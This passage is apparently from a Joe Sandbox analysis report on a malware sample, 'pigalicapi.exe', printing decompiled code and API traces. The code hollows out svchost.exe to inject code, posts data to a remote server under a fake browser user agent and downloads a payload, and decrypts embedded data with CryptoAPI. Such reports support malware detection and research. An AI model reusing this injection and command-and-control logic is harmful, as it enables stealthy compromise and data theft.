									E00EC7B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								} else {
									E00EC7B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0x14 + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								}
								_v1104 = _v1104 + 1;
							}
							E00EC26D0(_v12, _v1100);
							_t140 = WriteProcessMemory(_v1012.hProcess, _v1100, _v12, _v8, 0); // executed
							if(_t140 != 0) {
								VirtualFree(_v12, 0, 0x8000); // executed
								_v996.ContextFlags = 0x10007;
								_t143 = GetThreadContext(_v1012.hThread,  &_v996); // executed
								if(_t143 != 0) {
									_t145 = WriteProcessMemory(_v1012.hProcess, _v996.Ebx + 8,  &_v1100, 4, 0); // executed
									if(_t145 != 0) {
										_v996.Eax = _v1100 +  *((intOrPtr*)(_v1096 + 0x28));
										_t148 = SetThreadContext(_v1012.hThread,  &_v996); // executed
										if(_t148 == 0) {
											TerminateProcess(_v1012.hProcess, 0);
											CloseHandle(_v1012.hThread);
											CloseHandle(_v1012.hProcess);
											goto L26;
										}
										ResumeThread(_v1012.hThread); // executed
										return _v1012.hProcess;
									}
									TerminateProcess(_v1012.hProcess, 0);
									CloseHandle(_v1012.hProcess);
									CloseHandle(_v1012.hThread);
									return 0;
								}
								TerminateProcess(_v1012.hProcess, 0);
								CloseHandle(_v1012.hProcess);
								CloseHandle(_v1012.hThread);
								return 0;
							}
							TerminateProcess(_v1012.hProcess, 0);
							CloseHandle(_v1012.hProcess);
							CloseHandle(_v1012.hThread);
							VirtualFree(_v12, 0, 0x8000);
							return 0;
						}
						_v1100 = VirtualAllocEx(_v1012.hProcess, 0, _v8, 0x103000, 0x40);
						if(_v1100 != 0) {
							goto L10;
						}
						TerminateProcess(_v1012.hProcess, 0);
						CloseHandle(_v1012);
						CloseHandle(_v1012.hThread);
						VirtualFree(_v12, 0, 0x8000);
						return 0;
					}
					VirtualFree(_v12, 0, 0x8000);
					return 0;
				} else {
					return 0;
				}
			}

0x00ec20bd
0x00ec2502
0x00000000
0x00ec2502
0x00ec20d4
0x00ec20e6
0x00ec20f0
0x00ec20fe
0x00ec210f
0x00ec210f
0x00ec2120
0x00ec2133
0x00ec2138
0x00ec213b
0x00ec214e
0x00ec2168
0x00ec2177
0x00ec2187
0x00ec218d
0x00ec2194
0x00ec21c0
0x00ec21c8
0x00ec21fe
0x00ec2204
0x00ec2211
0x00ec227d
0x00ec228f
0x00ec2294
0x00ec2297
0x00ec22b2
0x00ec22ce
0x00ec235e
0x00ec2363
0x00ec22d0
0x00ec2312
0x00ec2317
0x00ec2317
0x00ec22ac
0x00ec22ac
0x00ec2376
0x00ec2396
0x00ec239e
0x00ec23ec
0x00ec23f2
0x00ec240a
0x00ec2412
0x00ec2460
0x00ec2468
0x00ec24a6
0x00ec24ba
0x00ec24c2
0x00ec24e2
0x00ec24ef
0x00ec24fc
0x00000000
0x00ec24fc
0x00ec24cb
0x00000000
0x00ec24d1
0x00ec2473
0x00ec2480
0x00ec248d
0x00000000
0x00ec2493
0x00ec241d
0x00ec242a
0x00ec2437
0x00000000
0x00ec243d
0x00ec23a9
0x00ec23b6
0x00ec23c3
0x00ec23d4
0x00000000
0x00ec23da
0x00ec222d
0x00ec223a
0x00000000
0x00000000
0x00ec2245
0x00ec2252
0x00ec225f
0x00ec2270
0x00000000
0x00ec2276
0x00ec21d5
0x00000000
0x00ec2196
0x00000000
0x00ec2196

APIs

GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 00EC20D4
lstrcatA.KERNEL32(?,\system32\svchost.exe), ref: 00EC20E6
lstrcatA.KERNEL32(?,00ECC38C), ref: 00EC20FE
lstrcatA.KERNEL32(?,00000000), ref: 00EC210F
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 00EC2187
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 00EC21C0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC21D5
VirtualAllocEx.KERNEL32(?,00EC2080,?,00003000,00000040), ref: 00EC21FE
VirtualAllocEx.KERNEL32(?,00000000,?,00103000,00000040), ref: 00EC2227
TerminateProcess.KERNEL32(?,00000000), ref: 00EC2245
CloseHandle.KERNEL32(?), ref: 00EC2252
CloseHandle.KERNEL32(?), ref: 00EC225F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC2270

Strings

SystemRoot, xrefs: 00EC20CF
\system32\svchost.exe, xrefs: 00EC20DA
D, xrefs: 00EC213B

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Virtual$Alloclstrcat$CloseFreeHandleProcess$CreateEnvironmentTerminateVariable
String ID: D$SystemRoot$\system32\svchost.exe
API String ID: 1819736980-1559310322
Opcode ID: 5e1abecdf1a1ae650bd13049a66ffc7048dea76abf2c13ea9d55bb003eb70d69
Instruction ID: 19b609ff39ecec8638e18eeb1e2442cbcde0762405d812b497cfe5b69198f62a
Opcode Fuzzy Hash: 5e1abecdf1a1ae650bd13049a66ffc7048dea76abf2c13ea9d55bb003eb70d69
Instruction Fuzzy Hash: 88D14CB1A00219EFCB28CF54CC95FAE77B9BB48304F14859CF609BB281D6719A86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00EC1840 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 260
networkfilememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EC1840(char* _a4, void* _a8, long _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, intOrPtr* _a32) {
				long _v8;
				char _v276;
				char _v1300;
				char _v1564;
				void* _v1568;
				void* _v1572;
				char* _v1576;
				intOrPtr _v1588;
				char* _v1592;
				signed short _v1612;
				intOrPtr _v1616;
				char* _v1620;
				void* _v1636;
				void* _v1640;
				void* _v1644;
				void* _v1648;
				long _v1652;
				void _v1656;
				void _v1916;
				long _v1920;
				long _v1924;
				long _v1928;
				void* _v1932;
				intOrPtr _v1936;
				long _v1940;
				long _v1944;
				long _v1948;
				void _v2972;
				long _v2976;
				int _t116;
				void* _t117;
				void* _t119;
				void* _t123;
				int _t133;
				void* _t143;
				long _t151;
				void* _t194;
				void* _t195;
				void* _t196;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L37:
					return _v8;
				} else {
					_v1644 = 0;
					_v1640 = 0;
					_v1568 = 0;
					_v1576 = "*/*";
					_v1572 = 0;
					E00EC7D20( &_v1636,  &_v1636, 0, 0x3c);
					_t195 = _t194 + 0xc;
					_v1636 = 0x3c;
					_v1620 =  &_v1564;
					_v1616 = 0x104;
					_v1592 =  &_v276;
					_v1588 = 0x104;
					_t116 = InternetCrackUrlA(_a4, 0, 0,  &_v1636); // executed
					if(_t116 == 0) {
						goto L37;
					}
					_t117 = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", 1, 0, 0, 0); // executed
					_v1644 = _t117;
					if(_v1644 == 0) {
						goto L37;
					}
					_t119 = InternetConnectA(_v1644, _v1620, _v1612 & 0x0000ffff, 0, 0, 3, 0, 0); // executed
					_v1640 = _t119;
					if(_v1640 == 0) {
						L36:
						InternetCloseHandle(_v1644); // executed
						goto L37;
					}
					_t123 = HttpOpenRequestA(_v1640, "POST", _v1592, 0, 0,  &_v1576, 0x200300, 0); // executed
					_v1568 = _t123;
					if(_v1568 == 0) {
						L35:
						InternetCloseHandle(_v1640); // executed
						goto L36;
					}
					wnsprintfA( &_v1300, 0x400, "Accept-Language: en-us\r\nContent-Type: application/octet-stream\r\nContent-Length: %d\r\n", _a12);
					_t196 = _t195 + 0x10;
					if(HttpAddRequestHeadersA(_v1568,  &_v1300, 0xffffffff, 0) == 0) {
						L34:
						InternetCloseHandle(_v1568); // executed
						goto L35;
					}
					_v1656 = 0x7530;
					if(_a28 > 0) {
						_v1656 = _a28;
					}
					InternetSetOptionA(_v1568, 6,  &_v1656, 4);
					_v1652 = 1;
					_v1648 = 0;
					do {
						_v1920 = 0x100;
						E00EC7D20( &_v1916,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1924 = 0;
						_t133 = HttpSendRequestA(_v1568, 0, 0, _a8, _a12); // executed
						if(_t133 == 0) {
							goto L32;
						}
						if(HttpQueryInfoA(_v1568, 0x13,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t137 = E00EC7DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1936 = _t137;
							if(_a32 != 0) {
								_t137 = _a32;
								 *_a32 = _v1936;
							}
						}
						E00EC7D20(_t137,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1928 = 0x500000;
						if(HttpQueryInfoA(_v1568, 5,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t151 = E00EC7DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1940 = _t151;
							if(_v1940 > 0 && _v1940 < 0x40000000) {
								_v1928 = _v1940;
							}
						}
						_t143 = VirtualAlloc(0, _v1928, 0x3000, 4); // executed
						_v1932 = _t143;
						if(_v1932 == 0) {
							_v2976 = 0;
							do {
								InternetReadFile(_v1568,  &_v2972, 0x400,  &_v2976);
							} while (_v2976 > 0);
						} else {
							 *_a16 = _v1932;
							 *_a20 = _v1928;
							_v8 = 1;
							_v1944 = _v1928;
							while(1) {
								_v1948 = 0;
								InternetReadFile(_v1568, _v1932, _v1944,  &_v1948); // executed
								if(_a24 != 0) {
									 *_a24 =  *_a24 + _v1948;
								}
								if(_v1948 == 0) {
									break;
								}
								_v1932 = _v1932 + _v1948;
								_v1944 = _v1944 - _v1948;
								if(_v1944 > 0) {
									continue;
								}
								L29:
								goto L32;
							}
							goto L29;
						}
						L32:
						_v1648 = _v1648 + 1;
					} while (_v8 == 0 && _v1648 < 1);
					goto L34;
				}
			}

0x00ec1849
0x00ec1854
0x00ec1c95
0x00ec1c9b
0x00ec1878
0x00ec1878
0x00ec1882
0x00ec188c
0x00ec1896
0x00ec18a0
0x00ec18b5
0x00ec18ba
0x00ec18bd
0x00ec18cd
0x00ec18d3
0x00ec18e3
0x00ec18e9
0x00ec1902
0x00ec190a
0x00000000
0x00000000
0x00ec191d
0x00ec1923
0x00ec1930
0x00000000
0x00000000
0x00ec1956
0x00ec195c
0x00ec1969
0x00ec1c88
0x00ec1c8f
0x00000000
0x00ec1c8f
0x00ec1994
0x00ec199a
0x00ec19a7
0x00ec1c7b
0x00ec1c82
0x00000000
0x00ec1c82
0x00ec19c2
0x00ec19c8
0x00ec19e5
0x00ec1c6e
0x00ec1c75
0x00000000
0x00ec1c75
0x00ec19eb
0x00ec19f9
0x00ec19fe
0x00ec19fe
0x00ec1a16
0x00ec1a1c
0x00ec1a26
0x00ec1a30
0x00ec1a30
0x00ec1a48
0x00ec1a4d
0x00ec1a50
0x00ec1a6d
0x00ec1a75
0x00000000
0x00000000
0x00ec1aa1
0x00ec1aaa
0x00ec1aaf
0x00ec1ab2
0x00ec1abc
0x00ec1abe
0x00ec1ac7
0x00ec1ac7
0x00ec1abc
0x00ec1ad7
0x00ec1adc
0x00ec1adf
0x00ec1b0f
0x00ec1b18
0x00ec1b1d
0x00ec1b20
0x00ec1b2d
0x00ec1b41
0x00ec1b41
0x00ec1b2d
0x00ec1b57
0x00ec1b5d
0x00ec1b6a
0x00ec1c19
0x00ec1c23
0x00ec1c3d
0x00ec1c43
0x00ec1b70
0x00ec1b79
0x00ec1b84
0x00ec1b86
0x00ec1b93
0x00ec1b99
0x00ec1b99
0x00ec1bbf
0x00ec1bc9
0x00ec1bd9
0x00ec1bd9
0x00ec1be2
0x00000000
0x00000000
0x00ec1bf2
0x00ec1c04
0x00ec1c11
0x00000000
0x00ec1c15
0x00ec1c17
0x00000000
0x00ec1c17
0x00000000
0x00ec1be4
0x00ec1c4c
0x00ec1c55
0x00ec1c5b
0x00000000
0x00ec1a30

APIs

InternetCrackUrlA.WININET(00000000,00000000,00000000,0000003C), ref: 00EC1902
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1),00000001,00000000,00000000,00000000), ref: 00EC191D
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC1956
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,*/*,00200300,00000000), ref: 00EC1994
wnsprintfA.SHLWAPI ref: 00EC19C2
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,00000000), ref: 00EC19DD
InternetSetOptionA.WININET(00000000,00000006,00007530,00000004), ref: 00EC1A16
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EC1A6D
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00EC1A99
HttpQueryInfoA.WININET(00000000,00000005,?,00000100,00000000), ref: 00EC1B07
VirtualAlloc.KERNEL32(00000000,00500000,00003000,00000004), ref: 00EC1B57
InternetReadFile.WININET(00000000,00000000,?,00000000), ref: 00EC1BBF
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 00EC1C3D
InternetCloseHandle.WININET(00000000), ref: 00EC1C75
InternetCloseHandle.WININET(00000000), ref: 00EC1C82
InternetCloseHandle.WININET(00000000), ref: 00EC1C8F

Strings

Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d, xrefs: 00EC19B1
0u, xrefs: 00EC19EB
<, xrefs: 00EC18BD
*/*, xrefs: 00EC1896, 00EC197C
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1), xrefs: 00EC1918
POST, xrefs: 00EC1988

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Internet$Http$CloseHandleRequest$FileInfoOpenQueryRead$AllocConnectCrackHeadersOptionSendVirtualwnsprintf
String ID: */*$0u$<$Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)$POST
API String ID: 880997049-2033563659
Opcode ID: 49fb9888fdfc6bceed01c9b5b992cabdaa7ebdafbe7b836dfa1e6c0aa7b7db73
Instruction ID: b17ab65f4874f49af553ee84fd21b5ca829d1e90de0457aeca4449a73fb5e90c
Opcode Fuzzy Hash: 49fb9888fdfc6bceed01c9b5b992cabdaa7ebdafbe7b836dfa1e6c0aa7b7db73
Instruction Fuzzy Hash: 0BC159B0D442289FEB24CF50CD49FE9B7B5EB88304F1481D8E50DA6281DBBA6E95CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC47F0 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 178
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00EC47F0(intOrPtr _a4, intOrPtr _a8, char _a12) {
				signed int _v5;
				long* _v12;
				char _v28;
				char _v764;
				char _v780;
				intOrPtr _v784;
				char _v788;
				int _v792;
				int _v796;
				intOrPtr _v800;
				long* _v804;
				int _v808;
				int _v812;
				char _v816;
				int _v820;
				char _v824;
				char _v828;
				char _v844;
				int _t61;
				char* _t67;
				intOrPtr _t68;
				int _t69;
				char* _t73;
				intOrPtr _t74;
				intOrPtr _t76;
				intOrPtr _t77;
				signed char _t78;
				void* _t109;

				_v5 = 0;
				if(_a4 == 0 || _a8 <= 0x300) {
					L25:
					return _v5;
				} else {
					_v12 = 0;
					_t61 = CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t61 == 0 && GetLastError() == 0x80090016) {
						CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
					}
					if(_v12 != 0) {
						_v788 = 0x10;
						_v784 = 0x10;
						_v792 = 0;
						while(_v792 < _a8 - 0x2ff) {
							E00EC7B70( &_v780, _a4 + _v792, 0x300);
							_t109 = _t109 + 0xc;
							_t67 =  &_v780;
							_v800 = _t67;
							_v796 = 0;
							__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v796); // executed
							if(_t67 == 0) {
								L21:
								if((_v5 & 0x000000ff) == 0) {
									_v792 = _v792 + 1;
									continue;
								}
								break;
							}
							_t68 = _v800;
							__imp__CryptHashData(_v796, _t68, 0x10, 0);
							if(_t68 != 0) {
								_v804 = 0;
								_t69 = _v796;
								__imp__CryptDeriveKey(_v12, 0x6801, _t69, 1,  &_v804); // executed
								if(_t69 != 0) {
									_v812 = 0x2f0;
									_v808 = CryptDecrypt(_v804, 0, 1, 0,  &_v764,  &_v812);
									CryptDestroyKey(_v804);
									if(_v808 != 0) {
										_t73 =  &_v816;
										__imp__CryptCreateHash(_v12, 0x8003, 0, 0, _t73);
										if(_t73 != 0) {
											_t74 = _v816;
											__imp__CryptHashData(_t74,  &_v780, 0x2f0, 0);
											if(_t74 != 0) {
												_v820 = 0;
												_v824 = 4;
												_t76 = _v816;
												__imp__CryptGetHashParam(_t76, 4,  &_v820,  &_v824, 0);
												if(_t76 != 0) {
													_v828 = 0x10;
													_t77 = _v816;
													__imp__CryptGetHashParam(_t77, 2,  &_v844,  &_v828, 0);
													if(_t77 != 0) {
														_t78 = E00EC7C70( &_v28,  &_v844,  &_v28, 0x10);
														_t109 = _t109 + 0xc;
														if((_t78 & 0x000000ff) != 0) {
															_t52 =  &_a12; // 0xec4665
															E00EC7B70( *_t52,  &_v780, 0x300);
															_t109 = _t109 + 0xc;
															_v5 = 1;
														}
													}
												}
											}
											__imp__CryptDestroyHash(_v816);
										}
									}
								}
							}
							__imp__CryptDestroyHash(_v796);
							goto L21;
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L25;
				}
			}

0x00ec47f9
0x00ec4801
0x00ec4aab
0x00ec4ab1
0x00ec4814
0x00ec4814
0x00ec482a
0x00ec4832
0x00ec4850
0x00ec4850
0x00ec485a
0x00ec4860
0x00ec486a
0x00ec4874
0x00ec488f
0x00ec48b9
0x00ec48be
0x00ec48c1
0x00ec48c7
0x00ec48cd
0x00ec48eb
0x00ec48f3
0x00ec4a90
0x00ec4a96
0x00ec4889
0x00000000
0x00ec4889
0x00000000
0x00ec4a98
0x00ec48fd
0x00ec490b
0x00ec4913
0x00ec4919
0x00ec492c
0x00ec493c
0x00ec4944
0x00ec494a
0x00ec4975
0x00ec4982
0x00ec498f
0x00ec4995
0x00ec49a9
0x00ec49b1
0x00ec49c5
0x00ec49cc
0x00ec49d4
0x00ec49da
0x00ec49e4
0x00ec4a00
0x00ec4a07
0x00ec4a0f
0x00ec4a11
0x00ec4a2d
0x00ec4a34
0x00ec4a3c
0x00ec4a4b
0x00ec4a50
0x00ec4a58
0x00ec4a66
0x00ec4a6a
0x00ec4a6f
0x00ec4a72
0x00ec4a72
0x00ec4a58
0x00ec4a3c
0x00ec4a0f
0x00ec4a7d
0x00ec4a7d
0x00ec49b1
0x00ec498f
0x00ec4944
0x00ec4a8a
0x00000000
0x00ec4a8a
0x00ec4aa5
0x00ec4aa5
0x00000000
0x00ec485a

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 00EC482A
GetLastError.KERNEL32 ref: 00EC4834
CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC4850
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 00EC48EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 00EC490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 00EC493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 00EC496F
CryptDestroyKey.ADVAPI32(00000000), ref: 00EC4982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 00EC49A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 00EC49CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 00EC4A07

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC4845
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00EC481F
eF, xrefs: 00EC4A66, 00EC4A69

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$AcquireContextCreateData$DecryptDeriveDestroyErrorLastParam
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0$eF
API String ID: 2739279601-870584789
Opcode ID: 04bfd37777fc8531018bbffa609197dac67fd5598ec36099607a6e4b4fac7764
Instruction ID: 28b26f9a7d3d27823a714c7571eb1b59dfdcd9998905dcb7822ab8f7fbe2c60d
Opcode Fuzzy Hash: 04bfd37777fc8531018bbffa609197dac67fd5598ec36099607a6e4b4fac7764
Instruction Fuzzy Hash: 67714FB1A40318ABDB25CB51CD55FED77BCAB48704F104198F609BA1C0DBB69B8ACF54

Uniqueness

Uniqueness Score: -1.00%

Function 00EC1CA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 111
stringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00EC1CA0(CHAR* _a4, char _a8) {
				char _v5;
				char _v272;
				long _v284;
				intOrPtr _v300;
				void* _v308;
				void* _v312;
				long _v316;
				long _v320;
				void* _v324;
				char _v328;
				int _v332;
				void* _t44;
				int _t47;
				int _t50;
				void* _t61;

				_v5 = 0;
				_t44 = CreateToolhelp32Snapshot(2, 0); // executed
				_v312 = _t44;
				if(_v312 == 0xffffffff) {
					L18:
					return _v5;
				}
				_v308 = 0x128;
				_t47 = Process32First(_v312,  &_v308); // executed
				if(_t47 == 0) {
					L17:
					CloseHandle(_v312);
					goto L18;
				}
				_v320 = GetCurrentProcessId();
				_v316 = 0;
				while(_v300 != _v320) {
					_t50 = Process32Next(_v312,  &_v308); // executed
					if(_t50 != 0) {
						continue;
					}
					L6:
					if(_v316 != 0 && Process32First(_v312,  &_v308) != 0) {
						while(_v300 != _v316) {
							if(Process32Next(_v312,  &_v308) != 0) {
								continue;
							}
							goto L17;
						}
						if(lstrlenA( &_v272) < _a8) {
							lstrcpyA(_a4,  &_v272);
							_v324 = OpenProcess(0x410, 0, _v316);
							if(_v324 != 0) {
								_v332 = 0;
								_push( &_v332);
								_push(4);
								_push( &_v328);
								_t61 = _v324;
								_push(_t61); // executed
								L00ECB1D4(); // executed
								if(_t61 == 0) {
									_t35 =  &_a8; // 0xec575b
									_push( *_t35);
									_push(_a4);
									_push(_v324); // executed
									L00ECB1C8(); // executed
								} else {
									_t31 =  &_a8; // 0xec575b
									_push( *_t31);
									_push(_a4);
									_push(_v328);
									_push(_v324);
									L00ECB1CE();
								}
								_v5 = 1;
								FindCloseChangeNotification(_v324); // executed
							}
						}
					}
					goto L17;
				}
				_v316 = _v284;
				goto L6;
			}

0x00ec1ca9
0x00ec1cb1
0x00ec1cb6
0x00ec1cc3
0x00ec1e51
0x00ec1e57
0x00ec1e57
0x00ec1cc9
0x00ec1ce1
0x00ec1ce8
0x00ec1e44
0x00ec1e4b
0x00000000
0x00ec1e4b
0x00ec1cf4
0x00ec1cfa
0x00ec1d04
0x00ec1d2e
0x00ec1d35
0x00000000
0x00000000
0x00ec1d37
0x00ec1d3e
0x00ec1d5f
0x00ec1e3e
0x00000000
0x00000000
0x00000000
0x00ec1e3e
0x00ec1d81
0x00ec1d92
0x00ec1dac
0x00ec1db9
0x00ec1dbb
0x00ec1dcb
0x00ec1dcc
0x00ec1dd4
0x00ec1dd5
0x00ec1ddb
0x00ec1ddc
0x00ec1de3
0x00ec1e02
0x00ec1e05
0x00ec1e09
0x00ec1e10
0x00ec1e11
0x00ec1de5
0x00ec1de5
0x00ec1de8
0x00ec1dec
0x00ec1df3
0x00ec1dfa
0x00ec1dfb
0x00ec1dfb
0x00ec1e16
0x00ec1e21
0x00ec1e21
0x00ec1db9
0x00ec1e27
0x00000000
0x00ec1d3e
0x00ec1d18
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00EC1CB1
Process32First.KERNEL32(000000FF,00000128), ref: 00EC1CE1
GetCurrentProcessId.KERNEL32 ref: 00EC1CEE
Process32Next.KERNEL32 ref: 00EC1D2E
Process32First.KERNEL32(000000FF,00000128), ref: 00EC1D52
lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 00EC1D78
lstrcpyA.KERNEL32(-00000204,?), ref: 00EC1D92
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00EC1DA6
EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 00EC1DDC
GetModuleFileNameExA.PSAPI(00000000,?,-00000204,[W,00000000,?,00000004,00000000), ref: 00EC1DFB
GetProcessImageFileNameA.PSAPI(00000000,-00000204,[W,00000000,?,00000004,00000000), ref: 00EC1E11
FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,[W,00000000,?,00000004,00000000), ref: 00EC1E21
Process32Next.KERNEL32 ref: 00EC1E37
CloseHandle.KERNEL32(000000FF), ref: 00EC1E4B

Strings

[W, xrefs: 00EC1D7E, 00EC1E02, 00EC1DE5, 00EC1DE8, 00EC1E05

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: ProcessProcess32$CloseFileFirstNameNext$ChangeCreateCurrentEnumFindHandleImageModuleModulesNotificationOpenSnapshotToolhelp32lstrcpylstrlen
String ID: [W
API String ID: 384183238-2869482503
Opcode ID: e3108bbc3739e205df35c35f5d2bf4f9e256e1fbb2f26447d8cea17088821daa
Instruction ID: 0af3fd51622922c43cfd8e9c078a968bf40e0dec3b5fd35707d53bdbc11df6ee
Opcode Fuzzy Hash: e3108bbc3739e205df35c35f5d2bf4f9e256e1fbb2f26447d8cea17088821daa
Instruction Fuzzy Hash: 6E4118719002189FCB24DB65CE85FEDB7B9AB49304F1051DCEA0DB6191D732AE86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00EC3B00 Relevance: 23.1, APIs: 8, Strings: 5, Instructions: 302
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			_entry_() {
				intOrPtr _v8;
				char _v1148;
				signed char _v1149;
				intOrPtr _v1156;
				char _v1556;
				char _v9556;
				long _v9560;
				char _v9564;
				char _v12068;
				signed int _v12072;
				char _v12076;
				long _v12080;
				char _v12081;
				long _v12088;
				long _v12092;
				long _v12096;
				signed int _v12100;
				signed char _v12101;
				long _v12108;
				signed int _v12112;
				void* _v12116;
				signed char _t69;
				intOrPtr _t74;
				signed char _t77;
				signed char _t79;
				signed int _t80;
				signed char _t85;
				signed char _t86;
				signed char _t87;
				intOrPtr _t88;
				char* _t89;
				signed int _t97;
				void* _t98;
				signed int _t100;
				signed char _t102;
				signed char _t104;
				signed char _t106;
				signed char _t110;
				signed int _t116;
				signed int _t118;
				char _t125;
				signed int _t138;
				signed int _t140;
				intOrPtr _t143;
				signed int _t159;
				signed int _t161;
				void* _t163;
				void* _t165;
				void* _t173;
				void* _t177;

				E00EC1000(0x2f50);
				_v8 = E00EC3130();
				E00EC2ED0(_v8);
				GetModuleFileNameA(0, "C:\Users\jones\pigalicapi.exe", 0x208);
				SetUnhandledExceptionFilter(E00EC5DB0); // executed
				__imp__CoInitialize(0); // executed
				_t69 = E00EC4510(_v8, 0xed3c88); // executed
				_t165 = _t163 + 0xc;
				if((_t69 & 0x000000ff) == 0) {
					L39:
					ExitProcess(0);
				}
				E00EC7D20( &_v1148,  &_v1148, 0, 0x46b);
				E00EC5700( &_v1148); // executed
				_t143 =  *0xed18a0; // 0xed3b88
				_t74 = E00EC5A00( &_v1148, _t143, 0xff); // executed
				_v1156 = _t74;
				E00EC7D20(_t74, "Topdawabe", 0, 0x12c);
				E00EC9400( &_v1148, "Topdawabe", 0xa); // executed
				_t77 = E00EC99F0(); // executed
				 *0xed435a = _t77;
				 *0xed435d = E00EC6060(); // executed
				_t79 = E00EC5E00(); // executed
				 *0xed435e = _t79;
				_t80 = StrStrIA("C:\Users\jones\pigalicapi.exe", "svchost.exe"); // executed
				asm("sbb eax, eax");
				 *0xed4362 =  ~( ~_t80);
				E00EC1120("C:\Users\jones\pigalicapi.exe", "pigalicapi",  *0xed435a & 0x000000ff,  *0xed4362 & 0x000000ff, 0xed436c); // executed
				_t85 = E00EC5E30(0); // executed
				 *0xed435b = _t85;
				 *0xed435f = 1; // executed
				_t86 = E00EC6CF0(); // executed
				_v1149 = _t86;
